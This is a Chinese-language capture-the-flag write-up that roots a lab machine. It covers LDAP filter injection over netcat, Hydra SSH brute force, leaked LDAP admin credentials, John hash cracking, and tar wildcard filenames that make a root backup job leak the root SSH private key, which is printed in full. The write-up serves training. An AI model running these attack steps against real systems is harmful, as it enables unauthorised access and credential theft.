Aldape

信息搜集

192.168.43.99

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.99 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Breaking and entering... into the world of open ports.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.99:22
Open 192.168.43.99:389
Open 192.168.43.99:8084
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.99
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-11 21:11 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:11
Completed NSE at 21:11, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:11
Completed NSE at 21:11, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:11
Completed NSE at 21:11, 0.00s elapsed
Initiating ARP Ping Scan at 21:11
Scanning 192.168.43.99 [1 port]
Completed ARP Ping Scan at 21:11, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:11
Completed Parallel DNS resolution of 1 host. at 21:11, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:11
Scanning 192.168.43.99 [3 ports]
Discovered open port 22/tcp on 192.168.43.99
Discovered open port 389/tcp on 192.168.43.99
Discovered open port 8084/tcp on 192.168.43.99
Completed SYN Stealth Scan at 21:11, 0.03s elapsed (3 total ports)
Initiating Service scan at 21:11
Scanning 3 services on 192.168.43.99
Completed Service scan at 21:13, 91.18s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.99
NSE: Script scanning 192.168.43.99.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:13
Completed NSE at 21:13, 0.13s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:13
Completed NSE at 21:13, 0.02s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:13
Completed NSE at 21:13, 0.00s elapsed
Nmap scan report for 192.168.43.99
Host is up, received arp-response (0.00082s latency).
Scanned at 2026-05-11 21:11:50 CST for 92s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0)
389/tcp open ldap syn-ack ttl 64 OpenLDAP 2.2.X - 2.3.X
8084/tcp open websnp? syn-ack ttl 64
| fingerprint-strings:
| FourOhFourRequest, GenericLines, GetRequest:
| ____ ___ ____ ______
| ____/
| /___/ /_/ / ___ |/ ____/ /___
| |_/_____/_____/_/ |_/_/ /_____/
| INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<
| IDENTIFICATION REQUIRED
| Username: Password:
| NULL:
| ____ ___ ____ ______
| ____/
| /___/ /_/ / ___ |/ ____/ /___
| |_/_____/_____/_/ |_/_/ /_____/
| INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<
| IDENTIFICATION REQUIRED
|_ Username:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8084-TCP:V=7.99%I=7%D=5/11%Time=6A01D59C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,12B,"\n\x20\x20\x20\x20___\x20\x20\x20\x20__\x20\x20\x20\x20____\x20
SF:\x20___\x20\x20\x20\x20____\x20\x20______\n\x20\x20\x20/\x20\x20\x20\|\
SF:x20\x20/\x20/\x20\x20\x20/\x20__\x20\\/\x20\x20\x20\|\x20\x20/\x20__\x2
SF:0\\/\x20____/\n\x20\x20/\x20/\|\x20\|\x20/\x20/\x20\x20\x20/\x20/\x20/\
SF:x20/\x20/\|\x20\|\x20/\x20/_/\x20/\x20__/\x20\x20\x20\n\x20/\x20___\x20
SF:\|/\x20/___/\x20/_/\x20/\x20___\x20\|/\x20____/\x20/___\x20\x20\x20\n/_
SF:/\x20\x20\|_/_____/_____/_/\x20\x20\|_/_/\x20\x20\x20/_____/\x20\x20\x2
SF:0\n>>\x20INTERNAL\x20DIRECTORY\x20AUTH\x20TERMINAL\x20v1\.0\x20<<\n\n\[
SF:!\]\x20IDENTIFICATION\x20REQUIRED\nUsername:\x20")%r(GetRequest,135,"\n
SF:\x20\x20\x20\x20___\x20\x20\x20\x20__\x20\x20\x20\x20____\x20\x20___\x2
SF:0\x20\x20\x20____\x20\x20______\n\x20\x20\x20/\x20\x20\x20\|\x20\x20/\x
SF:20/\x20\x20\x20/\x20__\x20\\/\x20\x20\x20\|\x20\x20/\x20__\x20\\/\x20__
SF:__/\n\x20\x20/\x20/\|\x20\|\x20/\x20/\x20\x20\x20/\x20/\x20/\x20/\x20/\
SF:|\x20\|\x20/\x20/_/\x20/\x20__/\x20\x20\x20\n\x20/\x20___\x20\|/\x20/__
SF:_/\x20/_/\x20/\x20___\x20\|/\x20____/\x20/___\x20\x20\x20\n/_/\x20\x20\
SF:|_/_____/_____/_/\x20\x20\|_/_/\x20\x20\x20/_____/\x20\x20\x20\n>>\x20I
SF:NTERNAL\x20DIRECTORY\x20AUTH\x20TERMINAL\x20v1\.0\x20<<\n\n\[!\]\x20IDE
SF:NTIFICATION\x20REQUIRED\nUsername:\x20Password:\x20")%r(FourOhFourReque
SF:st,135,"\n\x20\x20\x20\x20___\x20\x20\x20\x20__\x20\x20\x20\x20____\x20
SF:\x20___\x20\x20\x20\x20____\x20\x20______\n\x20\x20\x20/\x20\x20\x20\|\
SF:x20\x20/\x20/\x20\x20\x20/\x20__\x20\\/\x20\x20\x20\|\x20\x20/\x20__\x2
SF:0\\/\x20____/\n\x20\x20/\x20/\|\x20\|\x20/\x20/\x20\x20\x20/\x20/\x20/\
SF:x20/\x20/\|\x20\|\x20/\x20/_/\x20/\x20__/\x20\x20\x20\n\x20/\x20___\x20
SF:\|/\x20/___/\x20/_/\x20/\x20___\x20\|/\x20____/\x20/___\x20\x20\x20\n/_
SF:/\x20\x20\|_/_____/_____/_/\x20\x20\|_/_/\x20\x20\x20/_____/\x20\x20\x2
SF:0\n>>\x20INTERNAL\x20DIRECTORY\x20AUTH\x20TERMINAL\x20v1\.0\x20<<\n\n\[
SF:!\]\x20IDENTIFICATION\x20REQUIRED\nUsername:\x20Password:\x20")%r(Gener
SF:icLines,135,"\n\x20\x20\x20\x20___\x20\x20\x20\x20__\x20\x20\x20\x20___
SF:_\x20\x20___\x20\x20\x20\x20____\x20\x20______\n\x20\x20\x20/\x20\x20\x
SF:20\|\x20\x20/\x20/\x20\x20\x20/\x20__\x20\\/\x20\x20\x20\|\x20\x20/\x20
SF:__\x20\\/\x20____/\n\x20\x20/\x20/\|\x20\|\x20/\x20/\x20\x20\x20/\x20/\
SF:x20/\x20/\x20/\|\x20\|\x20/\x20/_/\x20/\x20__/\x20\x20\x20\n\x20/\x20__
SF:_\x20\|/\x20/___/\x20/_/\x20/\x20___\x20\|/\x20____/\x20/___\x20\x20\x2
SF:0\n/_/\x20\x20\|_/_____/_____/_/\x20\x20\|_/_/\x20\x20\x20/_____/\x20\x
SF:20\x20\n>>\x20INTERNAL\x20DIRECTORY\x20AUTH\x20TERMINAL\x20v1\.0\x20<<\
SF:n\n\[!\]\x20IDENTIFICATION\x20REQUIRED\nUsername:\x20Password:\x20");
MAC Address: 08:00:27:7B:B2:30 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/11%OT=22%CT=%CU=36153%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A01D5F2%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)
OS:OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4
OS:ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Uptime guess: 14.935 days (since Sun Apr 26 22:47:33 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT ADDRESS
1 0.82 ms 192.168.43.99

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:13
Completed NSE at 21:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:13
Completed NSE at 21:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:13
Completed NSE at 21:13, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.46 seconds
Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
  • 22 ssh
  • 389 LDAP
  • 8084 未知服务

LDAP (轻量级目录访问协议)主要用于在公共和私有网络中定位各种实体,例如组织、个人以及文件和设备等资源。与它的前身 DAP 相比,LDAP 代码量更小,因此提供了一种更精简的方法。

LDAP 目录的结构允许其分布在多个服务器上,每个服务器都托管着目录的复制同步版本,称为目录系统代理 (DSA)。处理请求的责任完全由 LDAP 服务器承担,它可以根据需要与其他 DSA 通信,以便向请求者提供统一的响应。

LDAP 目录的组织结构类似于​树状层级结构,从顶部的根目录开始。根目录向下分支到国家/地区,国家/地区进一步细分为组织,然后细分为代表各个部门或分支机构的组织单元,最终到达个人实体层级,包括人员以及文件和打印机等共享资源。

默认端口: 389 和 636(LDAPS)。全局编录(Active Directory 中的 LDAP)默认使用端口 3268,LDAPS 使用端口 3269。

尝试nc 8084端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿Eecho)-[~]
└─# nc 192.168.43.99 8084

___ __ ____ ___ ____ ______
/ | / / / __ \/ | / __ \/ ____/
/ /| | / / / / / / /| | / /_/ / __/
/ ___ |/ /___/ /_/ / ___ |/ ____/ /___
/_/ |_/_____/_____/_/ |_/_/ /_____/
>> INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<

[!] IDENTIFICATION REQUIRED
Username: *)(objectClass=*
Password: *

[+] AUTHENTICATION SUCCESSFUL
[*] NODE_INFO: Out of office. For any urgent issues, please contact tonglinggejimo@aldape.dsz.

结合开放的 389 OpenLDAP 端口,这个 8084 终端的验证机制大概率是将输入的直接带入到了后台的 LDAP 查询语句中。

尝试LDAP注入

LDAP 注入是一种针对从用户输入构建 LDAP 语句的 Web 应用程序的攻击。当应用程序未能正确清理输入时,就会发生这种攻击,攻击者可以通过本地代理操纵 LDAP 语句,从而可能导致未经授权的访问或数据篡改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿Eecho)-[~]
└─# nc 192.168.43.99 8084

___ __ ____ ___ ____ ______
/ | / / / __ \/ | / __ \/ ____/
/ /| | / / / / / / /| | / /_/ / __/
/ ___ |/ /___/ /_/ / ___ |/ ____/ /___
/_/ |_/_____/_____/_/ |_/_/ /_____/
>> INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<

[!] IDENTIFICATION REQUIRED
Username: *
Password: *

[+] AUTHENTICATION SUCCESSFUL
[*] NODE_INFO: Out of office. For any urgent issues, please contact tonglinggejimo@aldape.dsz.

泄露了一个用户名tonglinggejimo使用rockyou字典没爆破出来,使用tscan生成密码本

image

爆破使用的是small字典

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# hydra -l tonglinggejimo -P Dict-Social-tonglinggejimo_small.txt ssh://192.168.43.99
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-12 17:50:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 208 login tries (l:1/p:208), ~13 tries per task
[DATA] attacking ssh://192.168.43.99:22/
[22][ssh] host: 192.168.43.99 login: tonglinggejimo password: tonglinggejimo
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-12 17:50:49

密码居然就是本身

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿Eecho)-[~]
└─# ssh tonglinggejimo@192.168.43.104
The authenticity of host '192.168.43.104 (192.168.43.104)' can't be established.
ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:8: [hashed name]
~/.ssh/known_hosts:15: [hashed name]
~/.ssh/known_hosts:24: [hashed name]
~/.ssh/known_hosts:25: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.104' (ED25519) to the list of known hosts.
tonglinggejimo@192.168.43.104's password:
_
__ _____| | ___ ___ _ __ ___ ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
\ V V / __/ | (_| (_) | | | | | | __/
\_/\_/ \___|_|\___\___/|_| |_| |_|\___|

tonglinggejimo@Aldape:~$

提权

tonglinggejimo -> backup_admin

在/home下还存在backup_admin用户,考虑在ldap节点里面

/opt/authtool目录下app.py的源码就是8084 端口的服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import socket
import threading
import logging
import sys
from ldap3 import Server, Connection, ALL

logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[logging.StreamHandler(sys.stdout)]
)
logger = logging.getLogger(__name__)

LDAP_SERVER = 'ldap://127.0.0.1:389'
BASE_DN = 'dc=aldape,dc=dsz'
BIND_DN = 'cn=admin,dc=aldape,dc=dsz'
BIND_PW = '30almaz'

BANNER = r"""
___ __ ____ ___ ____ ______
/ | / / / __ \/ | / __ \/ ____/
/ /| | / / / / / / /| | / /_/ / __/
/ ___ |/ /___/ /_/ / ___ |/ ____/ /___
/_/ |_/_____/_____/_/ |_/_/ /_____/
>> INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<
"""

def handle_client(client_socket):
try:
client_socket.sendall(BANNER.encode())
client_socket.sendall(b"\n[!] IDENTIFICATION REQUIRED\n")

client_socket.sendall(b"Username: ")
uid = client_socket.recv(1024).decode().strip()

client_socket.sendall(b"Password: ")
pwd = client_socket.recv(1024).decode().strip()

if not uid or not pwd:
client_socket.sendall(b"[-] ERROR: EMPTY CREDENTIALS\n")
return

search_filter = f"(&(uid={uid})(userPassword={pwd}))"
logger.info(f"NC Query Filter: {search_filter}")

server = Server(LDAP_SERVER, get_info=ALL, connect_timeout=3)
conn = Connection(server, user=BIND_DN, password=BIND_PW)

if not conn.bind():
logger.error("LDAP Bind Failed")
client_socket.sendall(b"[-] SYSTEM ERROR: LDAP_UNAVAILABLE\n")
return

conn.search(search_base=BASE_DN, search_filter=search_filter, attributes=['description'])

if conn.entries:
logger.info(f"Blind Hint Triggered for: {uid}")
client_socket.sendall(b"\n[+] AUTHENTICATION SUCCESSFUL\n")
client_socket.sendall(f"[*] NODE_INFO: {conn.entries[0].description}\n".encode())
else:
logger.warning(f"Failed attempt: {uid}")
client_socket.sendall(b"\n[-] ACCESS DENIED: INVALID DATA\n")

conn.unbind()
except Exception as e:
logger.error(f"Socket Exception: {str(e)}")
client_socket.sendall(f"\n[!] CORE_CRASH: {str(e)}\n".encode())
finally:
client_socket.close()

def start_server():
server_ip = "0.0.0.0"
port = 8084

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((server_ip, port))
server.listen(5)

logger.info(f"NC Terminal listening on {server_ip}:{port}")

while True:
client, addr = server.accept()
logger.info(f"Accepted connection from {addr[0]}:{addr[1]}")
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()

if __name__ == "__main__":
start_server()

这段代码实现了一个基于 Python 原生 Socket 编程LDAP 目录服务 的简易网络认证终端。

它的工作逻辑是:在本地监听一个端口(8084),当有客户端通过 TCP(例如使用 nc 命令)连进来时,程序会要求其输入用户名和密码,然后去后端的 LDAP 服务器中进行验证,验证通过则返回一段敏感的节点信息。

核心配置

LDAP_SERVER = ‘ldap://127.0.0.1:389’ # 后端 LDAP 服务器地址
BASE_DN = ‘dc=aldape,dc=dsz’ # 目录树的根节点(搜索起点)
BIND_DN = ‘cn=admin,dc=aldape,dc=dsz’ # 具有管理权限的绑定账户
BIND_PW = ‘30almaz’ # 管理员账户的密码

既然已经有了管理员凭证(BIND_DN​ 和 BIND_PW​)那么直接枚举该 LDAP 服务中的所有节点信息

1
ldapsearch -x -D "cn=admin,dc=aldape,dc=dsz" -w "30almaz" -b "dc=aldape,dc=dsz"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
tonglinggejimo@Aldape:/opt/authtool$ ldapsearch -x -D "cn=admin,dc=aldape,dc=dsz" -w "30almaz" -b "dc=aldape,dc=dsz"
# extended LDIF
#
# LDAPv3
# base <dc=aldape,dc=dsz> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# aldape.dsz
dn: dc=aldape,dc=dsz
objectClass: top
objectClass: dcObject
objectClass: organization
o: Aldape Security
dc: aldape

# users, aldape.dsz
dn: ou=users,dc=aldape,dc=dsz
objectClass: organizationalUnit
ou: users

# admin, users, aldape.dsz
dn: uid=admin,ou=users,dc=aldape,dc=dsz
objectClass: inetOrgPerson
cn: Administrator
sn: Admin
uid: admin
description: Out of office. For any urgent issues, please contact tonglinggeji
mo@aldape.dsz.
userPassword:: MzBhbG1heg==

# tonglinggejimo, users, aldape.dsz
dn: uid=tonglinggejimo,ou=users,dc=aldape,dc=dsz
objectClass: inetOrgPerson
cn: Tongling Gejimo
sn: Gejimo
uid: tonglinggejimo
userPassword:: dG9uZ2xpbmdnZWppbW8=
description: Internal maintenance account.

# backup_admin, users, aldape.dsz
dn: uid=backup_admin,ou=users,dc=aldape,dc=dsz
objectClass: inetOrgPerson
cn: Backup Administrator
sn: Backup
uid: backup_admin
userPassword:: e1NTSEF9SUVSL0JsOVhLSFBnQTZMR0xBMkRrbk95cVpIODJtd3U=
description: Account for backup jobs.

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 5

拓扑结构

dc=aldape,dc=dsz (根节点: Aldape Security)
└── ou=users (用户组织单元)
├── uid=admin (管理员)
├── uid=tonglinggejimo (你当前的系统账户)
└── uid=backup_admin

backup_admin

  • DN: uid=backup_admin,ou=users,dc=aldape,dc=dsz
  • 描述: Account for backup jobs.(用于备份作业的专属账户)。
  • 密码字段: userPassword:: e1NTSEF9SUVSL0JsOVhLSFBnQTZMR0xBMkRrbk95cVpIODJtd3U=

爆破hash

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# echo 'e1NTSEF9SUVSL0JsOVhLSFBnQTZMR0xBMkRrbk95cVpIODJtd3U=' | base64 -d > hash.txt
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Salted-SHA1 [SHA1 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=24
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1prorodeo (?)
1g 0:00:00:00 DONE (2026-05-12 18:25) 1.923g/s 25332Kp/s 25332Kc/s 25332KC/s 1whizkid..16815594
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

横向移动到backup_admin

1
2
3
4
5
tonglinggejimo@Aldape:/opt/authtool$ su backup_admin
Password:
backup_admin@Aldape:/opt/authtool$ id
uid=1001(backup_admin) gid=1001(backup_admin) groups=1001(backup_admin)
backup_admin@Aldape:/opt/authtool$

backup_admin -> root

上传pspy

image

可以看到进入 /opt/backup_source​ 目录,然后调用 tar​ 命令把里面的所有文件(*)打包压缩。

这里的核心漏洞在于那个通配符 ​ *

在 Linux 中,当 root​ 执行 tar ... *​ 时,系统会把当前目录下的所有文件名当作参数一个一个传给 tar​。如果目录里有一个文件名叫 --help​,那么 tar​ 就会把这个文件当作 tar --help 命令来解析。

因为 tar 有两个非常特殊的内建参数:

  • --checkpoint: 每打包指定个文件就触发一个检查点。
  • --checkpoint-action=exec=命令: 到达检查点时,​强行执行系统命令

由于该任务是用 root​(UID=0​)身份跑的,它在打包时如果踩到这两个“恶意文件名”,就会以 root 权限执行对应的命令!

image

同时backup_source我们也是可以写的

这里需要注意tar是busybox的tar所以无法利用checkpoint​和checkpoint-action=exec

1
2
3
backup_admin@Aldape:/tmp$ ls -al /bin/tar
lrwxrwxrwx 1 root root 12 Jun 3 2025 /bin/tar -> /bin/busybox
backup_admin@Aldape:/tmp$

替代方案:利用 BusyBox tar​ 支持的 -T FILE​ 参数。该参数允许指定一个文本文件,tar​ 会读取该文本内的路径并将它们打包。由于命令是以 root​ 身份运行,我们可以强迫 root​ 帮我们打包任意无权读取的敏感文件(如 SSH 密钥、/etc/shadow​),从而实现任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
backup_admin@Aldape:/tmp$ cd /opt/backup_source/
backup_admin@Aldape:/opt/backup_source$ echo "/root/.ssh/authorized_keys" > "-U"
backup_admin@Aldape:/opt/backup_source$ touch -- "-T"
backup_admin@Aldape:/opt/backup_source$ echo *
-T -U
backup_admin@Aldape:/opt/backup_source$ mkdir /tmp/loot && cd /tmp/loot
backup_admin@Aldape:/tmp/loot$ tar -zxf /var/backups/data/backup.tar.gz
backup_admin@Aldape:/tmp/loot$ ls -al
total 0
drwxr-xr-x 3 backup_admin backup_admin 60 May 12 19:25 .
drwxrwxrwt 5 root root 120 May 12 19:24 ..
drwxr-xr-x 3 backup_admin backup_admin 60 May 12 19:25 root
backup_admin@Aldape:/tmp/loot$ cat root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINqjhK393o9QhUUm3agypEiY4uGf/SuvZhtZHQFZqrqr root@Aldape

可以看到公钥的加密算法是ed25519那么root 的私钥文件百分之百就是 id_ed25519

1
2
3
4
5
6
7
8
9
10
11
12
13
14
backup_admin@Aldape:/tmp/loot$ cd /opt/backup_source/
backup_admin@Aldape:/opt/backup_source$ echo "/root/.ssh/id_ed25519" > "-U"
backup_admin@Aldape:/opt/backup_source$ echo *
-T -U
backup_admin@Aldape:/opt/backup_source$ cd /tmp/loot
backup_admin@Aldape:/tmp/loot$ tar -zxf /var/backups/data/backup.tar.gz
backup_admin@Aldape:/tmp/loot$ cat root/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDao4St/d6PUIVFJt2oMqRImOLhn/0rr2YbWR0BWaq6qwAAAJA8wFYOPMBW
DgAAAAtzc2gtZWQyNTUxOQAAACDao4St/d6PUIVFJt2oMqRImOLhn/0rr2YbWR0BWaq6qw
AAAECGyGJH6Q4D0DIgmvQExcycbaJGA1q22L23qyG74aAv49qjhK393o9QhUUm3agypEiY
4uGf/SuvZhtZHQFZqrqrAAAAC3Jvb3RAQWxkYXBlAQI=
-----END OPENSSH PRIVATE KEY-----

切换root用户

1
2
3
4
5
6
7
8
9
10
11
12
backup_admin@Aldape:/tmp$ vim id_rsa
backup_admin@Aldape:/tmp$ chmod 600 id_rsa
backup_admin@Aldape:/tmp$ ssh root@127.0.0.1 -i id_rsa
_
__ _____| | ___ ___ _ __ ___ ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
\ V V / __/ | (_| (_) | | | | | | __/
\_/\_/ \___|_|\___\___/|_| |_| |_|\___|

root@Aldape:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Aldape:~#